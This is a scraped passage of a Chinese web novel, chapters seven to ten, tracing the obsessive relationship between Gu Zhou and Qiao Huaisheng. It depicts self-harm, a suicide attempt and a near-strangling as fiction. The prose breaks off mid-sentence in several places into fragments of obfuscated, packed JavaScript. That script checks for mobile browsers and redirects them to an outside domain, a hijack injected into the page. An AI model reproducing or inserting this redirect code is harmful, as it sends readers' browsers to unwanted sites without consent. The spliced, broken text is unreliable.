顾舟垂眸看了眼自己手里多出来的一沓厚厚的现金:“这些是什么?” “提成啊,之前淮少不是在你名下开了好几瓶酒!”经理转身一脸笑容,“淮少您过来了!” “哎,”关硕最先看见经理后面的人,“这不是你那同……” 顾舟瞬间抬起眼,乔淮生换了一身卡其色的风衣,可那衣领下的脸却似乎更消瘦了,四周空空荡荡地,像是一个行走的骨架。 关硕的话还没说完,乔淮生就从顾舟旁边擦肩而过。 没有凝视,没有恶意,没有假惺惺的关心,没有故意的介绍。 乔淮生面无表情地从他身边走了过去,好似他们本来就该这样。 不是同一个世界的人,从头到尾,乔淮生都不应该为他的存在驻足。 再然后,是剧组那边突然通知不用过去了。 顾舟路过校园的时候,被熙攘的人群挤了一下,才再一次听到那个名字。 “我去,怎么这么多人?那天干嘛的?” “乔淮生今天要拍的东西在笃学楼那边取景,四个年级的女生全跑过去了,哦对,男的也有!” “乔淮生是谁?恒盛的大少爷啊!他们家的钱多到你要是让他看上一眼,这辈子的生活费都不用发愁了!” 人流太多,顾舟被迫停下来,跟着熙攘的人群一起往前望。 乔淮生的头发长了点,穿了一件高领毛衣,领口将脖颈遮得严严实实,旁边的人跟他说了什么,乔淮生微微勾了勾唇角,不像是在笑,倒像是什么模板里复制出来的标本。 周围依然有人在叫喊,有人叫他学长,但是乔淮生谁也没有看。 不会再破开重重人群走到他的身旁,不会只用那样热切的目光注视着他一个人。 当然,这是对的。 他与乔淮生原本就是没有交集的人,是他搞错了主角,才把那些多余的感情倾注到他的身上。 现在,那道窥视终于消失了。 顾舟的生活重新回到了正轨上,起床、做早饭,将保温盒带去医院,将肉和鸡蛋盛出来给生病的奶奶,不出意外听到隔壁床夸赞孝顺的声音。 “孝顺什么,”老太太冷哼了一声,“这不是我亲孙子,又养不熟,以后长大结婚,还不知道会怎么样呢!” 砰!筷子被重重地砸在桌面上,顾舟冷冷抬眸:“那你可以去找你亲孙子。” 老太太浑身一抖,立刻转过来不敢再说话了。 好半晌,又有些恐惧和讨好地,将自己碗中满满当当的夹了一片放在顾舟的碗里。 顾舟几乎下意识抬头看了眼窗外。 他想起自己第一次挥出那一拳时,那人附在他的耳边,激动又满意的声音:“你做得很好。” 而现在,月亮上的红光消失了。 他终于愤怒了一次,原来这也没什么,生活并不会崩塌,秩序并不会毁灭,无人再来喝彩,顾舟将那块肉夹起来吃掉,好像和平时的味道也没什么不同。 愤怒或者不愤怒,多一句或者少一句,好像也没有什么不一样。 他这样乏味的、贫瘠的、枯燥的生活,终于不再迎来任何人的兴趣。 顾舟摸出课程作业,一边看着点滴一边写着。 可是手上原本平滑的直线却不知为何变得扭曲,变形,他的心中开始无可抑制地变得焦躁,心中不断重复乔淮生那炙热的眼神和决然的背影。 注定得不到的东西应该尽早放弃——顾舟从小就这么告诉自己。 他一直做得很好,可是手上的笔尖却不可抑制地蔓延、纠缠,像是那些疯狂生长的扭曲思绪。 哗—— 顾舟这才发现,掌下的那张纸已经不知何时地被自己戳破了。 * “十二万,”对面的男人将一张卡推过来,“虽然你的项目被刷下去了,但是我们公司一致觉得,你的这个信息加密想法很有前景,你看要是愿意,签个字,这张卡就是你的了。” 顾舟垂下眼,放在桌上的手指骨节修长:“他让你给我的?” “谁?”男人下意识推了下眼睛,“这是,这是我们公司的项目研发经理偶然发现的,你不要多想。” 但是顾舟已经得到答案了。 当初他和乔淮生因为十二万的一瓶酒纠缠到一起,现在只需要十二万,就可以轻轻松松地撇清关系。 凭什么…… 凭什么? 这个念头一旦起来,就好像是燎原之火一样盈满他的心脏,顾舟站起身:“不好意思。” 他说:“我并不打算出售。” 顾舟站起身,一直穿过装修精致的咖啡厅,穿过整洁漂亮的街道,穿过重重叠叠的高楼大厦,走到人头攒动的影视基地。 他看着乔淮生戴着耳麦指挥调度,看着他跟人微笑,看着他换衣服去上课,看着他被老师请上台做演示,看着他鞠躬答谢,看着被人簇拥,看着他跟每一个前来询问的人解答…… 每一天每一天,乔淮生的生活似乎总被这些填满,永远彬彬有礼,永远得体端庄,好像在他的世界里,永远不会有难过、挫败、疯狂、恶意。 那些只有顾舟一个人见过。 那个被人簇拥在台上的人,只有顾舟一个人知道他狠狠踩向一个人的时候是如何的恶劣扭曲。 想到这一点,顾舟心中突然升起一种诡异的满足,但同时却被一种更深的焦躁所代替。 鬼使神差地,如同乔淮生之前做的一样—— 他开始日复一日地窥视乔淮生。 * “下面,让我们热烈欢迎,本届ACCA未来创想大赛的获奖者——乔淮生同学上台发言,大家掌声欢迎!” 顾舟坐在台下,看着乔淮生从一阵欢呼和掌声中走上台,西服下的面容矜贵漂亮,抬手握了握话筒: “谢谢大家的认可,我想说的是,大家今天看到的成就,其实不是我一个人的努力,而且我们整个团队的付出……” 是什么时候参加的这个比赛,乔淮生有些记不清了。 他最近的思维都在退化,常常是站在房间里很久,才会想起自己到底是来做什么。 但是还好,从小到大背了那么多,这些场面话对他来说并不难。 或许顾舟说得对,他也没有什么特殊的,这些话不管换谁来讲都是一样的,本来就是从模板中复制的工具,他的人生就算是换一个人来过,也是得出相同的结局。 低血糖让眼底有些发黑,乔淮生把这些当成一种快要结束的信号。 很快了,很快了,只需要再稍稍忍耐一下,他就可以结束这一切。 “最后,还是希望大家多多关注罕见病儿童的生活状态,这也是我们整个项目组完成这个项目的初心,谢谢大家!” “好的,谢谢淮生的发言!这次的颁奖,我们也特地邀请了本地的优秀企业家,恒盛的乔总,乔南山总经理来为选手们颁发奖杯,大家掌声欢迎!” 砰!乔淮生手中的话筒落在了地上。 台下瞬间喧哗起来。 自己拿的奖项,来颁奖的居然是自己的亲爹,怎么看都像是存在着什么猫腻。 “怎么,这么大的人了,连个话筒都拿不好?”男人西装革履,即便已经是四十多岁,依然是一副保养得致的从容,微微一笑,“难道是见到爸爸太吃惊了?” 乔南山说着,自己举起那只话筒:“今天颁奖前,主持人还跟我说有惊喜,原来是这个。” “但是其实我到了现场,更惊喜的其实这些年轻人的创新意识的魄力,他们开始关注……” 乔南山轻飘飘几句话,就将他跟乔淮生今天在这里的相遇撇清关系,又将话题给拉了回来。场下的舆论终于好了许多: “学长惊得话筒都掉了,这也能演出来吗?” “就是,学长奖项那么多,要什么没有,用得着让自己亲爸给自己开这么明显的绿灯?” “别理他们,有些人就是嫉妒!” 只有顾舟望着乔淮生的方向,微微皱起了眉。 不是这样的。 乔淮生这样聪明又恶劣的人,就算是真的想要一件事,也该像让自己在剧组对黎尚出手再出来装好人一样,自己干干净净清清白白才对。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861079|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么会把自己推到台前做这样明显的事情? 他扔了话筒,可能只是…… 顾舟望着乔淮生在灯光下过分苍白的脸和几乎和套在身上空空荡荡的西装。 所有人都在鼓掌,没有人发现…… 他的手在抖吗? * “爸。” 典礼结束,乔淮生在后台的走廊叫住转身要走的乔南山:“我有点事……” 父子俩当然有些事情要讲,其他人识相的离开,只有乔南山被迫停住脚步,隐隐不耐:“什么事?” “我……” 乔淮生张了张嘴巴,他要怎么问呢? 是我的出现害死你的爱人吗?是你的背叛害死了你的爱人吗? 你还会……想起那个人吗? “妈妈最近跟说我,想跟你一起去意大利出差,”乔淮生笑容苍白,“爸,你可以带她一起吗?” “你妈妈想什么跟我没有关系。” 乔南山冷漠地开口:“还有你,很早之前我就是跟你说过。” “我们之间在竞技比赛之间最好回避,颁奖名额是一早就确定的了,你过来报名干什么?” “我……” “不用跟我道歉,”乔南山转身就走,“我还有会,怎么做你自己心里清楚就行。” 乔淮生站在原地。 等到乔南山的背影彻底消失在走廊尽头,才很轻地勾了勾唇角。 那种失血的眩晕感越来越强烈了,乔淮生试图迈步,眼前一黑,猛地向前栽去。 “你怎么了?”有人一只手托住了他的腰,将他整个人给揽了回去,“醒醒?!” “谢谢你同学。” 乔淮生从恍惚中恢复了意识,像往常一样扬起笑容,温声道:“只是有点低血糖,我早上没来得及吃饭,等会儿去休息室歇一会儿就好了,没关系的。” 他说着便要离开,可是那人握着他的手臂却更紧了一些:“你之前没有低血糖。” 乔淮生动作一滞,才终于认出来声音的主人。 顾舟以为他会愤怒,会反驳,会像之前一样,哪怕顾舟还没有开口,乔淮生已经能刻薄又恶意的嘲讽。 毕竟像乔淮生这种习惯了全场目光的人,是很难接受别人的忤逆的。 可是乔淮生并没有,他的语调甚至没有任何变化,平和又平静,好像今天如果不是顾舟,而是其他任何一个陌生人:“那可能是早上没吃饭吧。” “你早上在湖畔餐厅吃的饭,点了一份粥,阿姨收走时还剩一半,不过你平时的饭量就是这么多。” 顾舟这话几乎将自己的行踪透露了个干净。 又或许他本来也没打算隐瞒,之前的每一次每一次,也许他都期待着乔淮生能够回头,期待着他能够愤怒,质问,像是从前那样。 “是吗?”但是乔淮生只是轻飘飘挣开了他,“那可能是这两天太累了。” 他说着,后退一步,身体好像更加消瘦了,好像一只随时可以飞走的蝴蝶:“之前的事情对不起,欠你的我会找机会还你的。” “再见。” “乔淮生,”顾舟突然在身后叫住他的名字,“如果我不要呢?” “那不然你还想怎么样呢?”乔淮生转过头,“把我之前做的再还回来一遍吗?” 他扯了扯嘴角,笑容看起来有些苍白,好像真的不太在意了:“也可以。” 他说罢,也没有再回头看顾舟一眼,好像是什么可有可无的过客,转身离开。 “不是,”顾舟张了张嘴,“我不是,” “我只是想要……” 想要什么呢? 这么多天的焦躁,不安,扭曲,期待,到底是想要什么呢? 那句话卡在喉头,可是顾舟仿佛已经听见了。 我想要你再看我一眼。 用那样的眼神再看我一眼,用那样的态度再看我一眼,好像在这样乏味的、肮脏的、看不到尽头的日子里,也曾有什么可供注视的价值,好像他也曾当过一个人的唯一。 在他终于失去之后,顾舟终于自己心中的那种焦躁从何而来—— 原来从第一面开始。 一直、一直,他其实都在满怀窃喜的,渴望着乔淮生的关注。 8. 第八章 “乔淮生?他到底有什么好的? ”来人哼了一声,“真不明白为什么所有人都要捧着他?” “老子最烦他那种假清高的样子,总有一天,我一定让他跪在他脚底下给我舔鞋!” “哎哟,周少你喝多了吧周少,”旁边的人拉了他一把,“快快快,快扶周少进包厢里休息,别让他摔了。” “经理,让人再送两瓶酒进来!” “顾舟!”经理一挥手,没看到人,“哎,顾舟呢刚才不是还在这站着呢?” “算了算了,你,你去送酒进去。” 啊——!!! 不过半晌,包厢里突然传来一阵尖叫。 之前在会所里过过生日宴的那位周少突然被救护车拉走了。 听说是自己在包厢玩嗨了喝酒的时候喝到了碎玻璃渣,连整个肠道都出血了。 他之前过来的时候就不是什么好东西,以让别人舔他洒在地上的酒取乐,现在自己喝酒出了事,也算是咎由自取。 “就是!真是报应!这种人就算是死了也是活该!” 众人议论纷纷的时候,顾舟刚从外面卸货过来。 他戴着一副皮手套,额角上还染着点薄汗,低垂的眼睫遮住过分冷峻的双眸。 “顾舟!你终于回来了,来来来!”经理一把拉住他,“你做事靠谱,你去带几个人,把包厢收拾一下。” 顾舟抬起眼:“我辞职了。” “你说什么?”经理愣了下,“你忘了你奶奶的病了,你之前……” 顾舟转身离开了餐厅。 随后,将那双手套给摘下来,从口袋里摸出打火机,面无表情地点燃了。 火光映照着他的脸,那样锐利冷漠的样子。 简直和故事里的陈焰一模一样。 * 《白日焰火》新找来的男主突然出车祸了。 “什么?那他人呢?” “人倒是不严重,听说只是崴了脚,但是对方是个八十多的老太太,你知道这种官司最难缠了,现在人被拽在医院根本动不了。” “那现在怎么办?景都搭好了,整个剧组就等着开工了!” “就是啊,这个场地本来就是学长借了一天才给我们的,明天这个景就要撤了,这要怎么拍?”闫玲记得团团冒烟,“现在去哪再找一个身形合适的啊?” “你看那边,那个不是……”闫玲猛地冲过去,“顾舟?!” 顾舟手中拿着半沓传单,正将它发给旁边的人,闻言一抬眼。 “你怎么会在这里,学长不是说你有事来不了了吗?算了不管了,”闫玲一只手拉着顾舟的胳膊,“快快快,江湖救急!” “我们的演员出问题了,现在旁边就你一个最像的,马上就是杀青戏了,帮帮忙帮帮忙!” “嗯。”顾舟这才将手中的传单往旁边一放,仿佛他是因为偶然才出现在这里,“那好吧。” “乔淮生呢?” “学长?”闫玲四下看了看,“应该在布景那边吧。” 顾舟跟着望了一眼,视线搜寻着乔淮生的身影。 他以为,乔淮生应该会一眼看到他。 然后和当初一样,带着满心的炽热来到他的身边,只来到他的身边。 毕竟……他已经把自己变成陈焰,不是吗? 顾舟看了看自己的掌心。 “喏,”是闫玲将本子递给他,“这是剧本,学长新改了一点,给你。” “最后一场戏不怎么需要露脸,你就站着对个口型就行。” 那人到来之前,顾舟只好抬手翻开本子。 最后一场戏是陈焰的死亡。 将最后一个伤害过自己的人杀死,陈焰在回家的路上,将身上所有的钱给了一个瞎眼的乞丐。 他看着乞丐将那些钱拿回去,看着他喜悦、道谢,亲吻……却在最后一刻,将乞丐所有的东西抢了过来——乞讨来的所有硬币,冷硬的馒头,晚上睡觉用的肮脏被褥…… 他蹲下身,几乎是兴奋地等待着乞丐的痛苦与发疯,甚至已经将刀握在了手中,刀刃指过乞丐的脖颈。 可是乞丐只是平静地望着他。 他没有眼珠,有的只是空洞的,骇人的双目,于是那平静只是一种身体上的态度。 乞丐望着陈焰,在满目黑暗里望向这个满手罪孽的人,平和如同告解的神父,他说: “先生,您平时一定很痛苦吧。” 陈焰手中的刀砰得一声掉落在原地。 “我嗅得见你身上的焚香味,您之前也是个热爱生活的人,是曾经失去过一切,所以才要看看其他人遭遇这些的时候,会不会做出和你一样的选择吗?” “其实如果真的难受的话……” 那瞎眼的乞丐将手放在陈焰的肩上,温声道:“想哭可以哭的,先生。” 陈焰垂下头,想要将刚刚被自己扔掉的那枚硬币帮他捡回来,只是手抖了好几次,视线终于模糊。 一滴泪落在那枚硬币背面的花蕊上,陈焰直起身,将自己身上的手表、领针、戒指、钱包,统统摘下来,放在了乞丐的面前。 乞丐双手合十,躬身道谢:“愿上帝保佑你,先生。” “太晚了,”他杀了那么多的人,才终于在一个乞丐这里等来一句话,陈焰说,“上帝不会保佑我的。” 顾舟翻页的手刹那停住了。 在乔淮生强颜欢笑的每一个时刻,在他一次次那样炽热又绝望地望着自己的眼神里,在他一次次逼问里,他想要的答案到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她本来以为拍戏那天顾舟拿着刀子扑过来的场景已经足够可怕。 此刻才明白什么是乔淮生说的——还不够愤怒。 她猛地后退一步,看着顾舟疯了一样扯开那些盘旋的丝带。 像是蔓延的鲜血一般的红色,围成一个茧,四周连成脐带,安全好似母亲的子宫。 一个人的来路与归途。 可是顾舟大力地扯开那张茧,扯坏的丝带磨破了他的手,狠狠地向后一拽! 嘀嗒。 血液滴落在鲜红的丝带上。 乔淮生静静地躺在其中,他穿着白衬衫,白色西裤,脸色洁白,嘴唇洁白,干净得好像一颗胚胎。 睫毛紧闭,安静得好似没有呼吸。 9. 第九章 乔淮生很小很小的时候,曾经和关硕一起学骑马。 乔淮生很快就爬上去了,关硕却一连去了三天还只敢坐在地上哭泣。 于是乔淮生走过去安慰他,告诉他其实一点儿也不可怕,你眼睛一闭上去就好了,要勇敢一点。 谁知道关硕却猛地推了-他一把,怒气冲冲的样子,他说:“你因为有人哄才那么快上去,被爱的人才会有勇气!” 被爱的人才会有勇气。 乔淮生不是从来没有见过爱,才矫情地想要的。 他只是曾经错误地觉得,他也是被爱着的。 但是那肯定是很久很久之前的事情了,因为再大一点,傅芸就不再让他学马术了,生活开始被各种试卷和商业课填满。 原来很多事早就开始有预兆了,生活不从某一个突然的瞬间开始断裂的。 “为什么?” 乔淮生听到有人在头顶很轻很轻地发问。 为什么呢? 乔淮生也不知道,也许他确实是这样脆弱又矫情的人吧。 阳光照在他的脸上,可是他却不想睁开眼睛。 “没事了,”那人却又说,“睡吧。” 于是乔淮生沉沉地睡去。 他这一觉睡了很久,好像要把之前没有完成的睡眠全都补回来似的,醒过来的时候,外面已是黄昏。 乔淮生下意识眯了一下眼睛,好半晌,才察觉到自己所处的位置。 那个他曾经隔着玻璃窥视过的小房间,狭窄的、逼仄的、唯有他的所处这小块区域,带着一点清新的皂角香。 乔淮生看了看自己身上的衣服,那个弄脏了的衬衫被换掉了,换成了一件洗得发旧的短袖,胳膊上那些未愈合的伤口一览无余。 乔淮生猛地坐了起来。 他几乎是立时产生了一种暴露的羞耻感,起身就要往外走,只是站得太急,身体的虚弱让他眼前发黑,差点没有一头栽倒下去。 “你要做什么?”一双大手揽上他的腰,“厕所在那边。” 乔淮生抬眸,不出意外见到顾舟的脸。 想到自己身上的痕迹被顾舟看了个彻底,以及自己是怎么从基地被带回来,乔淮生油然一股愤怒,死死地掐住自己的掌心,才能勉强维持镇定:“谢谢你。” “我先走了,衣服的钱我之后会还给你。” 乔淮生说完就要走,可是膝盖却被顾舟往后一顶:“吃完饭再出去。” “不用了,我……” “你有低血糖。” 当初随口扯的谎现在终于扎到了自己身上,乔淮生仰起脸:“跟了我那么久,你不是很清楚我有没有?” 原来是知道。 他这个样子,倒比之前那种对什么都是一样的虚伪讨喜得多。 顾舟站起身:“我去做饭,煮个粥可以吗?” 理所应当地没有听到回复,顾舟转身去了厨房。 乔淮生径直往外走。 只是顾舟竟然在自家的门里又装了一个锁,乔淮生试了半天没打开,周围只传来大力的哗啦声。 顾舟走过来,将一双拖鞋放在他的脚边:“穿上。” 他的另一只手上还拎着刚刚出去买的大米和猪肝——老板说这个比较补气血。 乔淮生没动:“我要出去。” “你口味咸一点还是淡一点?” “我要出去!” “再放一点小米,可以吗?” 乔淮生深吸一口气,抬头:“那十二万你不愿意收的话,我会找别的方式给你。” “或者你还想要什么,今天一次性说个了断。” 顾舟握紧手里的手上的袋子,平静地垂眸:“那就放。” 平静平静平静,令人厌倦的平静,令人发疯的平静。 顾舟说:“记得穿上鞋。” “我说我要出去,你他妈听不见吗?” 乔淮生终于彻底抓狂,拎着顾舟的领子猛地往后一撞,袋子里的大米撒了出来,狼藉般的洒了一地:“你现在这样是要做什么,报复我吗?你来啊。” 顾舟静静地盯着乔淮生的脸,盯着他终于重新变得炽热,变得疯狂,只凝视着他一个人的眼睛:“我没想做什么。” 只是像现在就好。 只是像现在这样看着我就好,只看着我一个人…… 可是乔淮生却被那样的眼神刺痛,几乎是不可抑制地想起自己身上的伤疤:“你该不会是可怜我吧,顾舟?” “你以为我要干什么,自.杀?” “真好笑,”乔淮生轻嗤了声:“那是没用的弱者才会做的事情。” “你不是知道嘛,我这么恶劣,这么喜欢折磨的人,谁要是惹了我,我一定是先弄死他吧。” “你觉得这个是什么?”乔淮生举起自己的胳膊,尽量装作无所谓的样子,“艺术家多少都有些心理毛病。” “有钱人的矫情游戏罢了,”乔淮生用那天他说过的话来回复他,“省省你那没用的同情心吧!” 他自上而下扫视过顾舟,包括他那总是冷漠的,古井无波的眼睛:“你自己看看你像吗?” 说罢,乔淮生这才猛地将手一松:“放我出去!” “然后你再回到那里吗?” 乔淮生退后一步,顾舟却向前:“和陈焰一样,你准备在那里待多久?” 乔淮生浑身一震,猛地抬头看他一眼。 “加快剧组拍摄进度,提前做完了这个月的所有课程作业,想方设法地要把那十二万给我……” 顾舟望着他的眼睛,一桩一件地询问:“这些,也是有钱人的矫情游戏吗?” 胳膊上的伤口如同火烧一般沸腾起来,那些费尽心机隐藏的一切就这样被摊开,好像是扒光了被人扔到大街上,红色从他的耳垂蔓延到侧脸,乔淮生猛地抬起头:“所以呢?那又怎么样?轮得到你来可怜我吗?” “只是这么快,就忘了之前是怎么对你的了?” 乔淮生一只手提着顾舟领口,炽热的,疯狂的,好像是用尽平生最恶毒的语言:“没有工作,没有钱,被人咒骂,被人殴打。” “像条狗一样跪在我的脚下,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861081|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些你都忘了吗?” “为什么?”顾舟凝视着他,好似从那个目光第一次落到他身上的时候就想如此发问,“为什么要做这些?” “为什么?”乔淮生嗤笑了一声,“因为我就是这样恶劣的人啊。” “这些事需要理由吗?有些人的坏,是从出生开始就注定了。” “一天,两天,一周,一个月……这样的生活你可以忍受多久?” 乔淮生轻轻地拍了拍他的脸:“我告诉你顾舟,只要我活着一天,这些就永远不会结束。” “所以,”乔淮生说,“你最好日夜祈祷我早点死。” “还有,你以为你真的关得住我吗?” 一个人如果连死都不怕,那他还会怕什么? 乔淮生说完这话,大步来到窗户边,猛地一把将陈旧的玻璃打开,抬脚就要跳下去! 只差一点,他就要从高高的窗台掉落下去,顾舟猛地一把扯住他,几乎是整个胳膊都传来骨骼撕裂的声音,两人一起向后倒去,刚刚修好的衣架再一次被撞得倒塌,洗得发旧的衣物乱七八糟地砸在他们身上。 “乔淮生,你疯了!” 顾舟几乎是掐着他的脖子将他拉出来,生平第一次,乔淮生终于在他眼中看到了无可抑制地愤怒:“你就这么想死吗?” “是啊。” 乔淮生在笑,窒息让他的脸颊因为缺氧而变红,但是他居然能在这样的情况下忍住不去掰开顾舟的手挣扎,那笑容更像是一种火上浇油的激怒:“有本事……你……杀了我……” 顾舟发红的视线像是一匹恶狼,只需要稍稍一扭动,雪白细瘦的脖颈就会在他手中折断,可是他并没有握下去,而是用那双令人讨厌的,鬣狗般的眼睛注视着他:“乔淮生。” “你做那么多,”顾舟说,“是真的想让我杀了你?” “还是说……” 松开的手指轻轻地划过乔淮生的侧脸,好像拂过他眼下一滴并不存在的泪:“你只是想问问我,” “到底该怎么活下去?” 乔淮生突然安静了下来。 方才的恶劣、尖锐、歇斯底里,好像是一层一碰就碎的壳,而今终于露出那样柔软脆弱的内里。 乔淮生长长的睫毛眨动了下,听到顾舟说:“其实我也很痛苦。” 他的平静只是强作麻木,好像这样就能真的不在意生活向他投来的一切,可他不是神父,不是乞丐,不能真正平和地听着任何人的告解。 他也很痛苦。 所以,如果不会结束的话—— 那就永远不要结束好了。 就这样彼此纠缠,彼此厮杀,好像是让人窒息的丝线般纠缠在一起,好像这个世界上终于有一个人……会因为他的存在而存在。 他们不是信徒与神主,他们是在两个烈火里挣扎的稻草人。 “乔淮生,”顾舟这样叫他的名字,随后道,“如果你真的很难过的话。” “你可以在我这里哭。” 良久良久,夜色低垂。 一滴泪坠落他的指尖。 10. 第十章 关硕着实不觉得那张照片有什么好看。 秦舟倒在地上,乔淮生掐着他的喉咙,原本华丽的酒柜散了一地,在灯光下更是五颜六色的凄惨。 乔淮生微微凑近秦舟的耳朵,看起来暧昧的姿势,可是两个人的神情一个比一个狠,完全是你死我活的状态,感觉再多一秒就要互相拿刀子捅进心脏了。 这样凌乱的而又血腥的场景,有什么好值得回味的吗? 关硕上去想要将平板给拿回来,还没伸手,乔淮生的指尖忽然往下滑了滑。 报道的末尾,是记者对秦舟的采访,询问他对晚宴上发生的一切看法。 “早在我回国之前,就对这位乔总的所作所为早有耳闻。” 这张配图上的秦舟早已重新换了件西服,又恢复了那幅道貌岸然的模样,彬彬有礼站在镜头前:“我相信所有的合作商都应该会衡量一个上市企业执行者的素质。” “很荣幸一回来就接受乔总的挑战。”秦舟整了整衣领,“我相信在清江湾项目上,” “我们也是这样……不死不休。” 乔淮生指尖微顿。 五年前,顾舟伸手掐着他的喉咙,问他你是不是想要我教你一起活下去。 五年后,他伸手掐着秦舟的喉咙,他们却已经是不死不休的局面。 也许从一开始就错了,乔淮生想。 他们的相逢与别离都太过浓墨重彩。 以至于到现在,连骨血都要融在一起。 乔淮生当初跟顾舟在一起的时候。 并不知道他原来姓秦。 “有什么好看的,”关硕抬手将平板从乔淮生手里拿了出来,“清江湾现在就是狼群里的一块肥肉,别说是你们俩了,多少人的眼睛都在盯着,他不说难道别人就不知道他要抢?” 宁市的高新区要往外拓展,清江湾是关键的一步,临水而生交通发达,这块地只要拿了标,不管放谁都是前景巨大的买卖。 那报道最后还加了一句话:“纵缰正式宣战清江湾项目,纵恒之争第一战已经打响!” “秦家……”乔淮生点了根烟,嗤笑了声,“他想抢,难道我就会给他?” “行了,你少抽点烟吧,”关硕恨不得上手给他夺过来,“你自己身体什么样子你不知道啊。” 手还没伸上去,一个电话就打了过来。 乔淮生倒也没避讳他,直接把手机放旁边外放的。 “乔总……嗯……”那头的声音快要被火烧了的黏腻,说两句还要喘口气,“乔总……救命……救救我……” 滴! 关硕一个钢铁直男哪受得了这个,当即将手机往乔淮生那里一扔,自己跑出去冷静了。 等乔淮生接完了电话他才回来,那根烟燃到指尖,乔淮生抬手摁灭,披上衣服正要走。 “你干嘛去?” “有点事。” 这么晚了接到那种电话能有什么好事,关硕皱眉:“你上回送医院那个小明星还没出来呢,就不能……咳,”他轻咳了一声,“就不能……” “这回是真有事,”外套漫不经心披在肩上,乔淮生说,“人家等着我救命呢。” “他,他叫成这样等你救什么命!” “怎么,”乔淮生一只手握着手机,闻言垂眸看他一眼,“你不会吃醋了吧?” “我!” 我他妈的老子是直男老子是男主老子是直男。 关硕重复三遍,才叹口气:“算了,你要去就去吧。” “我只是觉得你……” “我怎么了?” 关硕看他一眼,乔淮生衬衫领口开到锁骨,嘴角含笑,十足的风流模样,连调情的话说起来也是信手拈来的,忍不住道:“你这几年……变化也太大了。” 以前乔淮生,成绩优异性格温和,会所里连杯酒都不点,不管什么时候,都是那副干干净净彬彬有礼的样子。 哪像是现在,飙车赌钱,抽烟喝酒,报纸上的花边新闻一天一个样。 “你知道你之前是多少人的童年噩梦吗?我妈只要一跟我提你的名字我就是害怕,” 关硕说:“现在……现在,你就为了一个男人。” 乔淮生和顾舟的事情知道得人并不多,可从小玩到大的关硕绝对算一个。 关硕眼睁睁地看着乔淮生自从顾舟走之后,一点点地将自己变成这样,好像是一个人的灵魂跟着被抽走,换了一个似的。 关硕愤愤地捶墙:“你现在都快变成我了!” 乔淮生忍不住笑了下:“谁说我是因为他了。” “关硕。” “嗯?” “如果我跟你说……”乔淮生望了他一眼,“我其实一直都是这样的,你会相信吗?” “那怎么可能!”关硕猛地跳了起来,“我都跟你认识二十多年了我能不知道!你不要不敢承认!” “行行行,”乔淮生一把按着他的脑袋将他给推了回去,“我走了,你早点找个女朋友吧,别这么闲。” “他妈的!你别摸老子头!我又不是顾舟!” * “对不起对不起对不起乔总!” “真是有眼无珠大水冲了龙王庙,我们真不知道那是您的人。” “房间在哪,快快!带乔总过去!” 侍应生小跑过去刷开房卡,没等他往里推,乔淮生就冷冷道:“你们先回去。” 房间里还不知道是个什么场景,应该没有人会希望这种场面被一群人围观。 等人散了,乔淮生才一脚踹开了门。 谁知刚刚反手关门,乔淮生还没来得及开灯,一只手就攀上了他的腰身,呼吸急促甜腻:“乔总,乔总。” “你终于来了,乔总。” 那只手挑开衬衫,沿着他的腰身往胸口上摸,手法出众,带着热气的呼吸贴上来,好像是在寻求安抚的幼鸟:“乔总……乔总……我好想你……” “救救我……让我帮你……” 乔淮生微一挑眉,不用说他也知道现在是怎么个景象,只是没想到这人居然能骗得经理跟他一起演戏。 在宁斯与扑过来之前,乔淮生猛地将人往后一推,抬手按开了灯。 灯光下的宁斯与全身只穿了一件布料,该遮的不遮不该露的却露,在若隐若现的情趣房灯光里,简直是用来助兴。 “宁斯与。” 乔淮生自上而下扫了眼他的样子,是上次去秦家的酒局在赛车上遇到的小男生:“这就是你说的被人下了药走投无路了?” “我……”宁斯与咬着嘴唇,一张小脸说哭就哭,连声音都带着几分我见犹怜的哽咽,“我是真的……” “我就是太想你了,乔总……” 他说着,又伸出手指想要去抓乔淮生,眼睫低垂,一副讨好的样子:“你帮帮我,帮帮我吧乔总……求求你了……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861082|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔淮生嗤笑了一声,面无表情地将手指从他的手中抽了出来,居高临下地看着他的乞讨:“我记得我之前就说过,你的长相不是我喜欢的类型。” “那你喜欢什么样的!” 宁斯与扬起一张小脸,红着眼十分倔强的样子:“我都可以!只要是为了你可以去整的!” “我只是想让你看我一眼,乔总!” 